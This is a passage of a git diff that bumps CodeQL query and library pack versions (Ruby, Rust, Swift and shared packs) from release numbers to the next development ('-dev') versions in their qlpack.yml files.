b/ruby/ql/lib/qlpack.yml index 1ed20c1ddcf..ab4215ced20 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.8 +version: 4.1.9-dev groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index d3963ed7ea4..b6053c7a9ef 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.2 +version: 1.3.3-dev groups: - ruby - queries diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index 246c9948c50..e20992cbb0b 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.10 +version: 0.1.11-dev groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index 813da756c7b..9f1b7148e38 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.10 +version: 0.1.11-dev groups: - rust - queries diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 08958db7e3e..6325acc4c5b 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.9 +version: 2.0.10-dev groups: shared library: true dependencies: diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 6629d0eb19b..1e1736c81f6 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.9 +version: 2.0.10-dev groups: shared library: true dependencies: diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index 508a599359f..0e8adfc89c2 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index ed8f11bc648..d3b36828ade 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.3 +version: 0.0.4-dev groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index e45001c1cd0..059cf59c2bf 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index ea61f121ef4..a98c2f6003b 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index 586a23e5dbb..4c73efe3912 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 2.0.1 +version: 2.0.2-dev groups: shared library: true dependencies: diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index 2ce914671fc..fda94a8f4ff 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.25 +version: 1.0.26-dev library: true groups: shared dataExtensions: diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index 5e8d7d64ca5..2ecf5730d21 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index a95abb9ac22..119a36067be 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index d0c83854b67..32fd6de02e8 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.6 +version: 0.0.7-dev groups: shared library: true dependencies: diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index e75d2976ab3..193e743290e 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.9 +version: 2.0.10-dev groups: shared library: true dependencies: diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 7cbc9901fec..205c84402c0 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index f400be0abdf..5ed3783fded 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.12 +version: 2.0.13-dev groups: shared library: true dependencies: null diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index e6cb9a17961..3c979618613 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index cf91193f6ae..4dad8cfd7f9 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index 8c4f32eb0d2..68ce7d4f490 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 5.0.1 +version: 5.0.2-dev groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 9c1b33791a2..b5bf65254e8 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.5 +version: 1.1.6-dev groups: - swift - queries